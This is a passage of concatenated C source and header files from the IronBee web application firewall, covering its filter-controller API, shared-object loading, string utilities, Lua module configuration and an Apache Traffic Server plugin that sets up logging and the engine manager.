Transaction (tx filters) */ } udata; ib_stream_t *stream; /**< Data stream */ void *state; /**< Arbitrary state data */ }; /** * IronBee Filter Controller. * * Data comes into the filter controller via the @ref source, gets * pushed through the list of data @ref filters, into the buffer filter * @ref fbuffer where the data may be held while it is being processed * and finally makes it to the @ref sink where it is ready to be sent. */ struct ib_fctl_t { ib_fdata_t fdata; /**< Filter data */ ib_engine_t *ib; /**< Engine */ ib_mm_t mm; /**< Filter memory manager */ ib_list_t *filters; /**< Filter list */ ib_filter_t *fbuffer; /**< Buffering filter (flow control) */ ib_stream_t *source; /**< Data source (new data) */ ib_stream_t *sink; /**< Data sink (processed data) */ }; /* -- Filter API -- */ /** * Register a filter. * * @param pf Address which filter handle is written * @param ib Engine handle * @param name Filter name * @param type Filter type * @param options Filter options * @param fn_filter Filter callback function * @param cbdata Filter callback data * * @returns Status code */ ib_status_t DLL_PUBLIC ib_filter_register(ib_filter_t **pf, ib_engine_t *ib, const char *name, ib_filter_type_t type, ib_flags_t options, ib_filter_fn_t fn_filter, void *cbdata); /** * Add a filter to a context. * * @param f Filter * @param ctx Config context * * @returns Status code */ ib_status_t DLL_PUBLIC ib_filter_add(ib_filter_t *f, ib_context_t *ctx); /** * Create a filter controller for a transaction. * * @param pfc Address which filter controller handle is written * @param tx Transaction * @param mm Memory manager * * @returns Status code */ ib_status_t DLL_PUBLIC ib_fctl_tx_create(ib_fctl_t **pfc, ib_tx_t *tx, ib_mm_t mm); /** * Configure a filter controller for a given context. * * @param fc Filter controller * @param ctx Config context * * @returns Status code */ ib_status_t DLL_PUBLIC ib_fctl_config(ib_fctl_t *fc, ib_context_t *ctx); /** * Process any pending data through the filters. * * @param fc Filter controller * * @returns Status code */ ib_status_t DLL_PUBLIC ib_fctl_process(ib_fctl_t *fc); /** * Add data to the filter controller. * * This will pass through all the filters and then be fetched * with calls to @ref ib_fctl_drain. * * @param fc Filter controller * @param data Data * @param dlen Data length * * @returns Status code */ ib_status_t DLL_PUBLIC ib_fctl_data_add(ib_fctl_t *fc, void *data, size_t dlen); /** * Add meta data to the filter controller. * * This will pass through all the filters and then be fetched * with calls to @ref ib_fctl_drain. * * @param fc Filter controller * @param stype Stream data type * * @returns Status code */ ib_status_t DLL_PUBLIC ib_fctl_meta_add(ib_fctl_t *fc, ib_sdata_type_t stype); /** * Drain processed data from the filter controller. * * @param fc Filter controller * @param pstream Address which output stream is written * * @returns Status code */ ib_status_t DLL_PUBLIC ib_fctl_drain(ib_fctl_t *fc, ib_stream_t **pstream); /** * Return the sensor ID. * * @param[in] ib IronBee engine. * * @returns The sensor ID value in the engine. */ const char DLL_PUBLIC *ib_engine_sensor_id(const ib_engine_t *ib); /** * @} IronBeeFilter */ /** * @} IronBeeEngine * @} IronBee */ #ifdef __cplusplus } #endif #endif /* _IB_ENGINE_H_ */
crustymonkey/ironbee
include/ironbee/dso.h
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_DSO_H_ #define _IB_DSO_H_ /** * @file * @brief IronBee --- DSO Utility Functions * * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ #include <ironbee/build.h> #include <ironbee/mm.h> #include <ironbee/types.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup IronBeeUtilDso Dynamic Shared Object (DSO) * @ingroup IronBeeUtil * * Code to load and interact with DSOs. Used for module loading. * * @{ */ /** * A dso file. */ typedef struct ib_dso_t ib_dso_t; /** * Generic type for a DSO symbol. * * @sa ib_dso_sym_find(). */ typedef void ib_dso_sym_t; /** * Open a dynamic shared object (DSO) from a file. * * @param[out] pdso DSO handle is stored in @a *dso. * @param[in] file DSO filename. * @param[in] mm Memory manager to use. * * @returns * - IB_EINVAL -- Unable to open DSO file. * - IB_EALLOC -- Allocation error. * - IB_OK -- Success. */ ib_status_t DLL_PUBLIC ib_dso_open( ib_dso_t **pdso, const char *file, ib_mm_t mm ) NONNULL_ATTRIBUTE(1,2); /** * Close a dynamic shared object (DSO). * * @param[in] dso DSO to close. * * @returns * - IB_EINVAL -- @a dso is null. * - IB_EUNKNOWN -- Failed to close DSO. * - IB_OK -- Success. */ ib_status_t DLL_PUBLIC ib_dso_close( ib_dso_t *dso ) ALL_NONNULL_ATTRIBUTE; /** * Find a given symbol in a dynamic shared object (DSO). * * @param[out] psym DSO symbol handle is stored in @a *sym. * @param[in] dso DSO to search in. * @param[in] name DSO symbol name. * * @returns * - IB_EINVAL -- dso or psym is null. * - IB_ENOENT -- No symbol in @a dso named @a name. * - IB_OK -- Success. */ ib_status_t DLL_PUBLIC ib_dso_sym_find( ib_dso_sym_t **psym, ib_dso_t *dso, const char *name ) ALL_NONNULL_ATTRIBUTE; /** * Given @a addr, look up the symbol name and file name of the dynamic library. * * @param[out] fname File name of the dynamic library. * @param[out] sname The name of the symbol. If the given address does not * point to a symbol, the closest symbol with an address less than * @a addr is returned. * @param[in] mm Copy the file name and symbol name assigned to * @a fname and @a sname. * @param[in] addr The address to look up a symbol for. * * @returns * - IB_OK On success. * - IB_EALLOC On allocation errors. * - IB_EOTHER On system call failure. */ ib_status_t DLL_PUBLIC ib_dso_sym_name_find( const char **fname, const char **sname, ib_mm_t mm, void *addr ) NONNULL_ATTRIBUTE(1, 2, 4); /** @} IronBeeUtilDso */ #ifdef __cplusplus } #endif #endif /* _IB_DSO_H_ */
crustymonkey/ironbee
servers/trafficserver/ts_module.c
<gh_stars>1-10 /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Apache Traffic Server Plugin * * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <assert.h> #include <ts/ts.h> #if defined(__cplusplus) && !defined(__STDC_FORMAT_MACROS) /* C99 requires that inttypes.h only exposes PRI* macros * for C++ implementations if this is defined: */ #define __STDC_FORMAT_MACROS #endif #include <ironbee/engine_manager_control_channel.h> #include <ironbee/core.h> /* TxLog private "API" */ #include "../../modules/txlog.h" #include "ts_ib.h" static const size_t CONTROL_CHANNEL_POLL_INTERVAL = 2000; /** * Plugin global data */ typedef struct module_data_t module_data_t; struct module_data_t { TSTextLogObject logger; /**< TrafficServer log object */ ib_manager_t *manager; /**< IronBee engine manager object */ //! The manager control channel for manager. ib_engine_manager_control_channel_t *manager_ctl; size_t max_engines; /**< Max # of simultaneous engines */ const char *config_file; /**< IronBee configuration file */ const char *log_file; /**< IronBee log file */ int log_level; /**< IronBee log level */ bool log_disable; /**< Disable logging? */ const char *txlogfile; TSTextLogObject txlogger; }; /* Global module data */ static module_data_t module_data = { NULL, /* .logger */ NULL, /* .manager */ NULL, /* .manager_ctl. */ IB_MANAGER_DEFAULT_MAX_ENGINES, /* .max_engines */ NULL, /* .config_file */ NULL, /* .log_file */ IB_LOG_WARNING, /* .log_level */ false, /* .log_disable */ DEFAULT_TXLOG, NULL }; /* API for ts_event.c */ ib_status_t tsib_manager_engine_acquire(ib_engine_t **ib) { return module_data.manager == NULL ? IB_EALLOC : ib_manager_engine_acquire(module_data.manager, ib); } ib_status_t tsib_manager_engine_cleanup(void) { return module_data.manager == NULL ? IB_OK : ib_manager_engine_cleanup(module_data.manager); } ib_status_t tsib_manager_engine_create(void) { return module_data.manager == NULL ? IB_EALLOC : ib_manager_engine_create(module_data.manager, module_data.config_file); } ib_status_t tsib_manager_engine_release(ib_engine_t *ib) { return module_data.manager == NULL ? IB_OK : ib_manager_engine_release(module_data.manager, ib); } /** * Engine Manager Control Channel continuation. * * This polls and takes action on commands to IronBee. * * @param[in] contp Pointer to the continuation. * @param[in] event Event from ATS. Unused. * @param[in] edata Event data. Unused. * * @returns * - 0 On success. * - -1 On error. */ static int manager_ctl(TSCont contp, TSEvent event, void *edata) { module_data_t *mod_data = (module_data_t *)(TSContDataGet(contp)); if (ib_engine_manager_control_ready(mod_data->manager_ctl)) { ib_status_t rc; rc = ib_engine_manager_control_recv(mod_data->manager_ctl); if (rc != IB_OK) { TSError("[ironbee] Error processing message: %s", ib_status_to_string(rc)); return -1; } } return 0; } /** * Log a message to the server plugin. * * @param[in] ib_logger The IronBee logger. * @param[in] rec The record to use in logging. * @param[in] log_msg The user's log message. * @param[in] log_msg_sz The user's log message size. * @param[out] writer_record Unused. We always return IB_DECLINED. * @param[in] cbdata The server plugin module data used for logging. * * @returns * - IB_DECLINED when everything goes well. * - IB_OK is not returned. * - Other on error. */ static ib_status_t logger_format( ib_logger_t *ib_logger, const ib_logger_rec_t *rec, const uint8_t *log_msg, const size_t log_msg_sz, void *writer_record, void *cbdata ) { assert(ib_logger != NULL); assert(rec != NULL); assert(log_msg != NULL); assert(cbdata != NULL); if (cbdata == NULL) { return IB_DECLINED; } module_data_t *mod_data = (module_data_t *)cbdata; TSTextLogObject logger = mod_data->logger; if (logger == NULL) { return IB_DECLINED; } if (log_msg == NULL || log_msg_sz == 0) { TSTextLogObjectFlush(logger); } else { ib_logger_standard_msg_t *std_msg = NULL; ib_status_t rc = ib_logger_standard_formatter( ib_logger, rec, log_msg, log_msg_sz, &std_msg, NULL); if (rc != IB_OK) { return rc; } TSTextLogObjectWrite( logger, "%s %.*s", std_msg->prefix, (int)std_msg->msg_sz, (const char *)std_msg->msg); ib_logger_standard_msg_free(ib_logger, std_msg, cbdata); } return IB_DECLINED; } /** * Perform a flush when closing the log. * * Performs flush for IronBee ATS plugin logging. * * @param[in] logger IronBee logger. Unused. * @param[in] cbdata Callback data. */ static ib_status_t logger_close( ib_logger_t *ib_logger, void *cbdata) { if (cbdata == NULL) { return IB_OK; } module_data_t *mod_data = (module_data_t *)cbdata; TSTextLogObject logger = mod_data->logger; if (logger != NULL) { TSTextLogObjectFlush(logger); } return IB_OK; } /** * Handle a single log record. This is a @ref ib_logger_standard_msg_t. * * @param[in] element A @ref ib_logger_standard_msg_t holding * a serialized transaction log to be written to the * Traffic Server transaction log. * @param[in] cbdata A @ref module_data_t. */ static void txlog_record_element( void *element, void *cbdata ) { assert(element != NULL); assert(cbdata != NULL); ib_logger_standard_msg_t *msg = (ib_logger_standard_msg_t *)element; module_data_t *mod_data = (module_data_t *)cbdata; /* FIXME - expand msg->msg with Traffic Server variables. */ /* I don't understand what is TBD here! */ if (!mod_data->txlogger) { /* txlogging off */ return; } /* write log file. */ if (msg->msg != NULL) { /* In practice, this is always NULL for txlogs. */ if (msg->prefix != NULL) { TSTextLogObjectWrite(mod_data->txlogger, "%s %.*s", msg->prefix, (int)msg->msg_sz, (const char *)msg->msg); } else { TSTextLogObjectWrite(mod_data->txlogger, "%.*s", (int)msg->msg_sz, (const char *)msg->msg); } /* FIXME: once debugged, take this out for speed */ TSTextLogObjectFlush(mod_data->txlogger); } } /** * Transaction Log record handler. * * @param[in] logger The logger. * @param[in] writer The log writer. * @param[in] cbdata Callback data. @ref module_data_t. * * @returns * - IB_OK On success. * - Other on failure. */ static ib_status_t txlog_record( ib_logger_t *logger, ib_logger_writer_t *writer, void *cbdata ) { module_data_t *mod_data = (module_data_t *)cbdata; assert(logger != NULL); assert(writer != NULL); assert(cbdata != NULL); ib_status_t rc; if (!mod_data->txlogger) { /* txlogging off */ return IB_OK; } rc = ib_logger_dequeue(logger, writer, txlog_record_element, cbdata); if (rc != IB_OK) { return rc; } return IB_OK; } /** * Register loggers to the IronBee engine. * * @param[out] manager The manager. * @param[in] ib The unconfigured engine. * @param[in] cbdata @ref module_data_t. * * @returns * - IB_OK On success. * - Other on fatal errors. */ static ib_status_t engine_preconfig_fn( ib_manager_t *manager, ib_engine_t *ib, void *cbdata ) { assert(manager != NULL); assert(ib != NULL); assert(cbdata != NULL); ib_status_t rc; ib_logger_format_t *iblog_format; module_data_t *mod_data = (module_data_t *)cbdata; /* Clear all existing loggers. */ rc = ib_logger_writer_clear(ib_engine_logger_get(ib)); if (rc != IB_OK) { return rc; } rc = ib_logger_format_create( ib_engine_logger_get(ib), &iblog_format, logger_format, mod_data, NULL, NULL); if (rc != IB_OK) { return rc; } /* Register the IronBee logger. */ ib_logger_writer_add( ib_engine_logger_get(ib), NULL, /* Open. */ NULL, /* Callback data. */ logger_close, /* Close. */ mod_data, /* Callback data. */ NULL, /* Reopen. */ NULL, /* Callback data. */ iblog_format, /* Format - This does all the work. */ NULL, /* Record. */ NULL /* Callback data. */ ); return IB_OK; } /** * Register loggers to the IronBee engine. * * @param[out] manager The manager. * @param[in] ib The configured engine. * @param[in] cbdata @ref module_data_t. * * @returns * - IB_OK On success. * - Other on fatal errors. */ static ib_status_t engine_postconfig_fn( ib_manager_t *manager, ib_engine_t *ib, void *cbdata ) { assert(manager != NULL); assert(ib != NULL); assert(cbdata != NULL); int rv; ib_status_t rc; module_data_t *mod_data = (module_data_t *)cbdata; ib_logger_format_t *txlog_format; rc = ib_logger_fetch_format( ib_engine_logger_get(ib), TXLOG_FORMAT_FN_NAME, &txlog_format); if (rc == IB_OK) { /* Register the IronBee Transaction Log logger. */ ib_logger_writer_add( ib_engine_logger_get(ib), NULL, /* Open. */ NULL, /* Callback data. */ NULL, /* Close. */ NULL, /* Callback data. */ NULL, /* Reopen. */ NULL, /* Callback data. */ txlog_format, /* Format - This does all the work. */ txlog_record, /* Record. */ mod_data /* Callback data. */ ); /* Open logfile for txlog */ rv = TSTextLogObjectCreate(mod_data->txlogfile, 0, &mod_data->txlogger); if (rv != TS_SUCCESS) { mod_data->txlogger = NULL; TSError("[ironbee] Failed to create transaction log \"%s\": %d", mod_data->txlogfile, rv); } else { /* 60 seconds */ TSTextLogObjectRollingIntervalSecSet(mod_data->txlogger, 60); /* 5 MB - This API seems not to exist yet (TS-3059). */ //TSTextLogObjectRollingSizeMbSet(mod_data->txlogger, 5); /* 3:00 am */ TSTextLogObjectRollingOffsetHrSet(mod_data->txlogger, 3); /* 3 = time or size */ TSTextLogObjectRollingEnabledSet(mod_data->txlogger, 3); } } else { ib_log_notice(ib, "No transaction logger available."); } return IB_OK; } /** * Handle ATS shutdown for IronBee plugin. * * Registered via atexit() during initialization, destroys the IB engine, * etc. * */ static void ibexit(void) { module_data_t *mod_data = &module_data; TSDebug("ironbee", "ibexit()"); if (mod_data->logger != NULL) { TSTextLogObjectFlush(mod_data->logger); } if (mod_data->manager != NULL) { ib_manager_destroy(mod_data->manager); } if (mod_data->logger != NULL) { TSTextLogObjectFlush(mod_data->logger); TSTextLogObjectDestroy(mod_data->logger); mod_data->logger = NULL; } if (mod_data->txlogger != NULL) { TSTextLogObjectFlush(mod_data->txlogger); TSTextLogObjectDestroy(mod_data->txlogger); } if (mod_data->log_file != NULL) { free((void *)mod_data->log_file); mod_data->log_file = NULL; } ib_shutdown(); TSDebug("ironbee", "ibexit() done"); } /** * Function and struct to read a TS-style argc/argv commandline into * a config struct. This struct is only used for ironbee_init, and * serves to enable new/revised options without disrupting the API or * load syntax. * * @param[in,out] mod_data Module data * @param[in] argc Command-line argument count * @param[in] argv Command-line argument list * @return Success/Failure parsing the config line */ static ib_status_t read_ibconf( module_data_t *mod_data, int argc, const char *argv[] ) { int c; /* defaults */ mod_data->log_level = 4; /* const-ness mismatch looks like an oversight, so casting should be fine */ while (c = getopt(argc, (char**)argv, "l:Lv:d:m:x:"), c != -1) { switch(c) { case 'L': mod_data->log_disable = true; break; case 'l': mod_data->log_file = strdup(optarg); break; case 'v': mod_data->log_level = ib_logger_string_to_level(optarg, IB_LOG_WARNING); break; case 'm': mod_data->max_engines = atoi(optarg); break; case 'x': mod_data->txlogfile = strdup(optarg); break; default: TSError("[ironbee] Unrecognised option -%c ignored.", optopt); break; } } /* Default log file */ if (mod_data->log_file == NULL) { mod_data->log_file = strdup(DEFAULT_LOG); if (mod_data->log_file == NULL) { return IB_EALLOC; } } /* keep the config file as a non-opt argument for back-compatibility */ if (optind == argc-1) { mod_data->config_file = strdup(argv[optind]); if (mod_data->config_file == NULL) { return IB_EALLOC; } TSDebug("ironbee", "Configuration file: \"%s\"", mod_data->config_file); return IB_OK; } else { TSError("[ironbee] Exactly one configuration file name required."); return IB_EINVAL; } } /** * Initialize IronBee for ATS. * * Performs IB initializations for the ATS plugin. * * @param[in] mod_data Global module data * * @returns status */ static int ironbee_init(module_data_t *mod_data) { /* grab from httpd module's post-config */ ib_status_t rc; int rv; if (!mod_data->log_disable) { /* success is documented as TS_LOG_ERROR_NO_ERROR but that's undefined. * It's actually a TS_SUCCESS (proxy/InkAPI.cc line 6641). */ printf("Logging to \"%s\"\n", mod_data->log_file); rv = TSTextLogObjectCreate(mod_data->log_file, TS_LOG_MODE_ADD_TIMESTAMP, &mod_data->logger); if (rv != TS_SUCCESS) { return IB_EUNKNOWN; } } /* Initialize IronBee (including util) */ rc = ib_initialize(); if (rc != IB_OK) { return rc; } /* Create the IronBee engine manager */ TSDebug("ironbee", "Creating IronBee engine manager"); rc = ib_manager_create(&(mod_data->manager), /* Engine Manager */ &ibplugin, /* Server object */ mod_data->max_engines); /* Default max */ if (rc != IB_OK) { TSError("[ironbee] Error creating IronBee engine manager: %s", ib_status_to_string(rc)); return rc; } /* Create the channel. This is destroyed when the manager is destroyed. */ rc = ib_engine_manager_control_channel_create( &(mod_data->manager_ctl), ib_manager_mm(mod_data->manager), mod_data->manager); if (rc != IB_OK) { TSError("[ironbee] Error creating IronBee control channel: %s", ib_status_to_string(rc)); return rc; } /* Register the control commands (enable, disable, etc). * Failure is not fatal. */ rc = ib_engine_manager_control_manager_ctrl_register(mod_data->manager_ctl); if (rc != IB_OK) { TSError("[ironbee] Failed to register ctrl commands to ctrl channel."); } /* Register the diagnostic commands (version and valgrind). * Failure is not fatal. * The valgrind command does nothing when not compiled w/ valgrind. */ rc = ib_engine_manager_control_manager_diag_register(mod_data->manager_ctl); if (rc != IB_OK) { TSError("[ironbee] Failed to register diag commands to ctrl channel."); } /* Start the channel. This is stopped when it is destroyed. */ rc = ib_engine_manager_control_channel_start(mod_data->manager_ctl); if (rc != IB_OK) { TSError("[ironbee] Error starting IronBee control channel: %s", ib_status_to_string(rc)); /* Note: this is not a fatal error. */ } /* If we started the channel, schedule it for periodic execution. */ else { TSCont cont = TSContCreate(manager_ctl, TSMutexCreate()); TSContDataSet(cont, mod_data); TSContScheduleEvery( cont, /* Manager control continuation. */ CONTROL_CHANNEL_POLL_INTERVAL, /* Millisecons. */ TS_THREAD_POOL_TASK /* Task thread pool. */ ); } rc = ib_manager_engine_preconfig_fn_add( mod_data->manager, engine_preconfig_fn, mod_data); if (rc != IB_OK) { TSError("[ironbee] Error registering server preconfig function: %s", ib_status_to_string(rc)); return rc; } rc = ib_manager_engine_postconfig_fn_add( mod_data->manager, engine_postconfig_fn, mod_data); if (rc != IB_OK) { TSError("[ironbee] Error registering server postconfig function: %s", ib_status_to_string(rc)); return rc; } /* Create the initial engine */ TSDebug("ironbee", "Creating initial IronBee engine"); rc = ib_manager_engine_create(mod_data->manager, mod_data->config_file); if (rc != IB_OK) { TSError("[ironbee] Error creating initial IronBee engine: %s", ib_status_to_string(rc)); return rc; } /* Register our at exit function */ rv = atexit(ibexit); if (rv != 0) { TSError("[ironbee] Error registering IronBee exit handler: %s", strerror(rv)); return IB_EOTHER; } TSDebug("ironbee", "IronBee Ready"); return rc; } static int check_ts_version(void) { const char *ts_version = TSTrafficServerVersionGet(); int result = 0; if (ts_version) { int major_ts_version = 0; int minor_ts_version = 0; int patch_ts_version = 0; if (sscanf(ts_version, "%d.%d.%d", &major_ts_version, &minor_ts_version, &patch_ts_version) != 3) { return 0; } /* Need at least TS 3.0 */ if (major_ts_version >= 3) { result = 1; } } return result; } /** * Initialize the IronBee ATS plugin. * * Performs initializations required by ATS. * * @param[in] argc Command-line argument count * @param[in] argv Command-line argument list */ void TSPluginInit(int argc, const char *argv[]) { TSPluginRegistrationInfo info; TSCont cont; ib_status_t rc; /* FIXME - check why these are char*, not const char* */ info.plugin_name = (char *)"ironbee"; info.vendor_name = (char *)"Qualys, Inc"; info.support_email = (char *)"<EMAIL>"; if (TSPluginRegister(TS_SDK_VERSION_3_0, &info) != TS_SUCCESS) { TSError("[ironbee] Plugin registration failed."); goto Lerror; } if (!check_ts_version()) { TSError("[ironbee] Plugin requires Traffic Server 3.0 or later"); goto Lerror; } rc = read_ibconf(&module_data, argc, argv); if (rc != IB_OK) { /* we already logged the error */ goto Lerror; } rc = ironbee_init(&module_data); if (rc != IB_OK) { TSError("[ironbee] initialization failed: %s", ib_status_to_string(rc)); goto Lerror; } cont = TSContCreate(ironbee_plugin, TSMutexCreate()); if (cont == NULL) { TSError("[ironbee] failed to create initial continuation!"); goto Lerror; } TSContDataSet(cont, NULL); /* connection initialization & cleanup */ TSHttpHookAdd(TS_HTTP_SSN_START_HOOK, cont); /* Register our continuation for management update for traffic_line -x * Note that this requires Trafficserver 3.3.5 or later, or else * apply the patch from bug TS-2036 */ TSMgmtUpdateRegister(cont, "ironbee"); return; Lerror: TSError("[ironbee] Unable to initialize plugin (disabled)."); }
crustymonkey/ironbee
include/ironbee/string.h
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_STRING_H_ #define _IB_STRING_H_ /** * @file * @brief IronBee --- String Utility Functions * * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ #include <ironbee/build.h> #include <ironbee/field.h> #include <ironbee/mm.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup IronBeeUtilString String * @ingroup IronBeeUtil * * Functions to manipulate strings. * * @{ */ /** * Convert string const to string and length parameters. * * Allows using a NUL terminated string in place of two parameters * (char*, len) by calling strlen(). * * @param s String */ #define IB_S2SL(s) (s), strlen(s) /** * Convert a string to a number, with error checking. * * @param[in] s String to convert. * @param[in] slen Length of string. * @param[in] base Base passed to strtol() -- see strtol() documentation * for details. * @param[out] result Resulting number. * * @returns Status code. */ ib_status_t DLL_PUBLIC ib_string_to_num_ex( const char *s, size_t slen, int base, ib_num_t *result ) NONNULL_ATTRIBUTE(4); /** * Convert a string to a number, with error checking * * @param[in] s String to convert * @param[in] base Base passed to strtol() -- see strtol() documentation * for details. * @param[out] result Resulting number. * * @returns Status code. */ ib_status_t DLL_PUBLIC ib_string_to_num( const char *s, int base, ib_num_t *result ) NONNULL_ATTRIBUTE(3); /** * Convert a string to a time type, with error checking. * * The time string is an integer representing the number of microseconds * since the Epoch. * * @param[in] s String of integers representing microseconds since the epoch. * @param[in] slen Length of string. * @param[out] result Resulting time. * * @returns * - IB_OK * - IB_EINVAL */ ib_status_t DLL_PUBLIC ib_string_to_time_ex( const char *s, size_t slen, ib_time_t *result ) NONNULL_ATTRIBUTE(3); /** * Convert a string to a time type, with error checking. * * The time string is an integer representing the number of microseconds * since the Epoch. * * @param[in] s String of integers representing microseconds since the epoch. * @param[out] result Resulting time. * * @returns * - IB_OK * - IB_EINVAL */ ib_status_t DLL_PUBLIC ib_string_to_time( const char *s, ib_time_t *result ) NONNULL_ATTRIBUTE(2); /** * Convert a string to an @ref ib_float_t with error checking. * * Avoid using this function because it requires that a copy of the * input string be made to pass to strtold(). Prefer ib_string_to_float(). * * @param[in] s The string to convert. * @param[in] slen The string length. * @param[in] result The result. * * @returns * - IB_OK on success * - IB_EALLOC on string dup failure. * - IB_EINVAL if no conversion could be performed, including because * of a NULL or zero-length string. */ ib_status_t DLL_PUBLIC ib_string_to_float_ex( const char *s, size_t slen, ib_float_t *result ) NONNULL_ATTRIBUTE(3); /** * Convert a string to an @ref ib_float_t with error checking. * * @param[in] s The string to convert. * @param[in] result The result. * * @returns * - IB_OK on success * - IB_EINVAL if no conversion could be performed, including because * of a NULL or zero-length string. */ ib_status_t DLL_PUBLIC ib_string_to_float( const char *s, ib_float_t *result ) NONNULL_ATTRIBUTE(2); /** * strstr() clone that works with non-NUL terminated strings. * * @param[in] haystack String to search. * @param[in] haystack_len Length of @a haystack. * @param[in] needle String to search for. * @param[in] needle_len Length of @a needle. * * @returns Pointer to the first match in @a haystack, or NULL if no match * found. */ const char DLL_PUBLIC *ib_strstr( const char *haystack, size_t haystack_len, const char *needle, size_t needle_len ) NONNULL_ATTRIBUTE(1, 3); /** * Get a string representation of a number * * @param[in] mm The memory manager to use for allocations * @param[in] value The number to operate on * * @returns The buffer or NULL if allocation fails */ const char DLL_PUBLIC *ib_num_to_string( ib_mm_t mm, int64_t value ); /** * Get a string representation of a time. * * The string is the integer representing the number of milliseconds * since the epoch. * * @param[in] mm The memory manager to use for allocations * @param[in] value The number to operate on * * @returns The buffer or NULL if allocation fails */ const char DLL_PUBLIC *ib_time_to_string( ib_mm_t mm, ib_time_t value ); /** * Get a string representation of a floating point number. * * This currently uses a fixed length of 10. * * @param[in] mm The memory manager to use for allocations. * @param[in] value The floating point to print. * * @returns The buffer or NULL if allocation fails */ const char DLL_PUBLIC *ib_float_to_string( ib_mm_t mm, long double value ); /** * Join strings in @a list using @a join_string into a single string. * * @param[in] join_string NUL-terminated string which will be printed into * @a pout before each element of @a list except the first one. * @param[in] list A list of NUL-terminated strings which will be printed * into @a pout separated by @a join_string. * @param[in] mm Memory manager that @a pout will be allocated from. * @param[out] pout This is pointed at the final NUL-terminated assembled * string. * @param[out] pout_len While @a pout is NUL-terminated, its length is made * available to the caller. * * @returns * - IB_OK On success. * - IB_EALLOC If a memory allocation fails. On failure @a pout and * @a pout_len are untouched. */ ib_status_t ib_string_join( const char *join_string, ib_list_t *list, ib_mm_t mm, const char **pout, size_t *pout_len ) NONNULL_ATTRIBUTE(1, 2, 4, 5); /** * @} IronBeeUtil */ #ifdef __cplusplus } #endif #endif /* _IB_STRING_H_ */
crustymonkey/ironbee
modules/lua_private.h
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- LUA Module * * Things that must be shared between `ibmod_lua` code. * * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ #ifndef __MODULES__LUA_H #define __MODULES__LUA_H #include "lua/ironbee.h" #include <ironbee/core.h> #include <ironbee/lock.h> #include <ironbee/module.h> #include <ironbee/release.h> #include <ironbee/resource_pool.h> /** * Runtime configuration parameters the user may manipulate at config time. * * This structure is opaque to the user and must be modified with appropriate * functions. * * Because lua_runtime.c and this header both mutually reference each other's * types, modlua_runtime_cfg_t is declared here and not in * the more-specific lua_runtime_private.h header. */ typedef struct modlua_runtime_cfg_t modlua_runtime_cfg_t; //! Module configuration. struct modlua_cfg_t { char *pkg_path; /**< Package path Lua Configuration. */ char *pkg_cpath; /**< Cpath Lua Configuration. */ char *module_path; /**< Path to Lua modules. */ ib_list_t *reloads; /**< modlua_reload_t list. */ ib_list_t *waggle_rules; /**< Waggle rules to execute. */ ib_resource_pool_t *lua_pool; /**< Pool of Lua stacks. */ ib_lock_t lua_pool_lock; /**< Pool lock. */ modlua_runtime_cfg_t *lua_pool_cfg; /**< Pool configuration. */ ib_resource_t *lua_resource; /**< Resource modlua_cfg_t::L. */ lua_State *L; /**< Lua stack used for config. */ }; typedef struct modlua_cfg_t modlua_cfg_t; /** * Get the @ref modlua_cfg_t configuration from the configuration context. * * @param[in] ib IronBee engine. * @param[in] ctx The configuration context. * @param[out] cfg The configuration stored in the context. * * @returns * - IB_OK On success. * - Failure codes for ib_context_module_config() or ib_engine_module_get(). */ ib_status_t modlua_cfg_get( ib_engine_t *ib, ib_context_t *ctx, modlua_cfg_t **cfg ); /** * Push a Lua table onto the stack that contains a path of configurations. * * IronBee supports nested configuration contexts. Configuration B may * occur in configuration A. This function will push * the Lua table `{ "A", "B" }` such that `t[1] = "A" and t[2] = "B"`. * * This allows the module to fetch or build the configuration table * required to store any user configurations to be done. * * Lazy configuration table creation is done to avoid a large, unused * memory footprint in situations of simple global Lua module configurations * but hundreds of sites, each of which has no unique configuration. * * This is also used when finding the closest not-null configuration to * pass to a directive handler. * * @param[in] ib IronBee Engine. * @param[in] ctx The current / starting context. * @param[in,out] L Lua stack onto which is pushed the table of configurations. * * @returns * - 